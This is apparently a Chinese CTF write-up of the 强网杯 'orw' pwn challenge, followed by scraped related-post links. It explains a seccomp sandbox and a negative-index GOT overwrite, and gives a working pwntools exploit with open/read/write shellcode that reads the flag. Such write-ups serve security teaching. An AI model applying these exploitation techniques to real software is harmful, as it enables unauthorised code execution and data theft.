知识点

构造一段shellcode的作用就是为了在缓冲区溢出时将shellcode的地址覆盖正常的返回地址。

\x00 截断符 shellcode里出现\x00就会从其截断,所以构造shellcode的时候要避免\x00

x64函数调用规则
x64机器在调用某个函数前,比如int func(int a, int b, int c, int d, int e, int f, int g, int h),首先他会把前6个参数从左往右存入到寄存器rdi、rsi、rdx、rcx、r8、r9,其余参数存入到栈里,保存的顺序是从右往左入栈。比如abcdef会存入到寄存器里,然后一次入栈h、g。
保存完参数之后再把函数后面一条指令的地址入栈保存。

解题流程

查看文件类型:

查看保护机制:

因为不是FULL RELRO所以就考虑改got表为shellcode地址

IDA64位打开
Main查看伪码:

查看子程序

seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
做pwn,用seccomp做沙箱保护很常见。有时候seccomp后面会跟一个结构体
seccomp是一类内核里的安全机制,正常情况下,程序可以使用所有的syscall,这是不安全的,比如劫持程序流后通过execve的syscall来getshell.通过seccomp我们可以在程序里禁用掉某些syscall,这样就算劫持了程序流也只能调用部分的syscall了。
seccomp(全称securecomputing mode)是linuxkernel从2.6.23版本开始所支持的一类安全机制。
在Linux系统里,大量的系统调用(systemcall)直接暴露给用户态程序。但是,并不是所有的系统调用都被需要,而且不安全的代码滥用系统调用会对系统造成安全威胁。通过seccomp,我们限制程序使用某些系统调用,这样可以减少系统的暴露面,同时是程序进入一类“安全”的状态。



数字后面有u,uL,uLL:
u代表unsigned,默认为unsigned int
uL代表unsigned long
数字文字的ULL后缀uLL为unsigned long long int,令类型为整数常量unsigned long long int,添加后缀ULL到整数。

1.add

注意:
*((_QWORD *)&unk_2020E0 + v1)即unk_2020E0[v1]

2.show

3.edit

4.delete

释放分配的内存

漏洞分析


sub_BCA里发现开了沙箱。
先将libseccomp.so.0文件路径添加到环境变量里
Export LD_LIBRARY_PATH=’/home/kali/Desktop’
再ldd链接

限制了只能使用open,read,write

在add里

令index下标为负数时可以覆盖到其他函数的got表地址

具体解决

下面介绍三个解决方案:

方法一

这里选覆盖掉exit的got表里的地址,因为沙盒的存在,所以需要构造orw的shellcode并覆盖exit的got地址为shellcode


exit位置在unk_2020E0位置的上面
相差偏移量:E0-78=0x68=104,再除以8=13,即向上偏移13可覆盖exit的地址

exp脚本如下:

from pwn import *p=process('./pwn')
#p = remote("39.105.131.68","12354")
elf=ELF('./pwn')
context(os='linux',arch='amd64')shellcode='''xor rax, rax   #xor rax,rax是对rax的清零运算操作xor rdi, rdi   #清空rdi寄存器的值xor rsi, rsi   #清空rsi寄存器的值xor rdx, rdxmov rax, 2      #open调用号为2mov rdi, 0x67616c662f2e   #为galf/.为./flag的相反   0x67616c662f2e为/flag的ASCII码的十六进制push rdimov rdi, rspsyscall   #系统调用前,linux在eax寄存器里写入子功能号,断止处理程序根据eax寄存器的值来判断用户进程申请哪类系统调用。mov rdx, 0x100   #sys_read(3,file,0x100)mov rsi, rdimov rdi, raxmov rax, 0      #read调用号为0,0为文件描述符,即外部输入,例如键盘syscallmov rdi, 1      #sys_write(1,file,0x30)mov rax, 1      #write调用号为1,1为文件描述符,指的是屏幕syscall
'''
p.recv()
p.sendline('1')
p.recvuntil('index:')
p.sendline('-13')
p.recvuntil('size:')
p.sendline('0')
p.recvuntil('content:')
p.sendline(asm(shellcode))   #asm可以对汇编代码进行汇编
#gdb.attach(p)
p.sendline('5')p.interactive()

flag值为:flag{151a5154-orw1-easy-1234-99bdsa23c7ds}

方法二

覆盖掉free的got表里的地址,将上面的脚本的偏移-13改为-25即可

方法三

覆盖掉atoi的got表里的地址,将上面的脚本的偏移-13改为-14即可

方法四

覆盖掉puts的got表里的地址,将上面的脚本的偏移-13改为-22即可

PWN题[强网先锋]orw超详细讲解(多解法)相关推荐

  1. PWN题[强网先锋]no_output

    知识点 strcpy(dest, src) strcpy 函数用于将指定长度的字符串复制到字符数组里 语法形式为:char *strcpy(char *dest, const char *src, i ...

  2. Python新手爬虫训练小项目《爬取彼岸图网》(超详细讲解版)

    Python新手爬虫训练小项目<爬取彼岸图网>(超详细讲解版) 这是我的第一篇文章,作为一名新手爬虫,这个算是我这几天来的努力成果,虽然代码寥寥几行但花费了大半天,新手上路还是不能只看视频 ...

  3. 强网杯2021 [强网先锋]orw

    orw就是指你的系统调用被禁止了,不能通过子进程去获得权限和flag,只能在该进程通过 open , read ,write来得到flag 因为不是FULL RELRO所以就考虑改got表为shell ...

  4. 牛客网|倒置字符串|超详细讲解

    题目:将一句话的单词进行倒置,标点不倒置.比如 I like beijing. 经过函数后变为:beijing. like I 输入描述: 每个测试输入包含1个测试用例: I like beijing ...

  5. ping cat.flag.php,关于2020年强网杯-强网先锋-主动的赛题解析

    原标题:关于2020年强网杯-强网先锋-主动的赛题解析 一.基本信息(总概述) 本题涉及知识点: 命令执行 正则匹配 linux命令绕过 二.基本环境和工具 Linux系统 PHP+Apache Fi ...

  6. 强网杯2019(高明的黑客强网先锋上单)

    强网杯2019(高明的黑客&强网先锋上单) 前言 这里主要是对强网杯web中高明的黑客和上单两道题进行一个复现回顾 再次感谢大佬提供的场景复现:https://www.zhaoj.in/rea ...

  7. 2019第三届强网杯-强网先锋-ADwp

    周末参加了一下强网杯,emmm这些题目不是我等弟弟所能解答的. 鲲or鳗orGame题目wp  https://blog.csdn.net/or1d1/article/details/90599659 ...

  8. mybatis-plus超详细讲解

    (6条消息) mybatis-plus超详细讲解_zdsg45的博客-CSDN博客_mybatis-plushttps://blog.csdn.net/zdsg45/article/details/1 ...

  9. Python的零基础超详细讲解(第七天)-Python的数据的应用

    往期文章 Python的零基础超详细讲解(第一天)-Python简介以及下载_编程简单学的博客-CSDN博客 Python的零基础超详细讲解(第二天)-Python的基础语法1_编程简单学的博客-CS ...

最新文章

  1. 大数据时代下的新生态、新洞察、新趋势 | 神策 2019 数据驱动大会
  2. Thread Per Message Pattern
  3. Unity 配置:typeConverter的使用
  4. python新手入门到放弃_python萌新:从零基础入门到放弃
  5. Maven项目出现web.xml is missing and 《failOnMissingWebXml》is set to true,已解决
  6. Wannafly挑战赛27: E. 黄魔法师(构造)
  7. 复杂UI的组织-创建者模式-uitableview思想
  8. 在QGraphicsScene中嵌入QWidget
  9. Java编程工具之 word转pdf
  10. C语言经典100例-6
  11. Python安装jieba库
  12. C语言编程题必须运行吗,全国计算机二级c语言的的操作题一定要运行吗?
  13. Marquee首尾相连不间断移动 开始完全显示
  14. 2017_Generating high-quality crowd density maps using contextual pyramid cnns
  15. man手册,安装中文手册
  16. vue中provide和inject 用法
  17. 2021-2027中国工业机械电动执行器市场现状研究分析与发展前景预测报告
  18. java从小白到架构师学习路线
  19. 如何制造一个XcodeGhost ?
  20. 使用 MediaSource 搭建流式播放器

热门文章

  1. 深度解析PolarDB数据库并行查询技术
  2. 为何小程序上线了,他们的内心却留下遗憾?
  3. 那些年,我们见过的 Java 服务端“问题”
  4. 阿里云DLA新功能来袭 查询MongoDB嵌套字段更方便
  5. 45分钟,411个中小品牌天猫双11实现新跨越
  6. 数据科学家常见的5个SQL面试问题
  7. Python 爬取了马蜂窝的出行数据,告诉你这个夏天哪里最值得去!
  8. 解决ssh正常登录sftp不能登录的问题
  9. docker 查看实时日志
  10. Flowable 数据库表结构 ACT_HI_COMMENT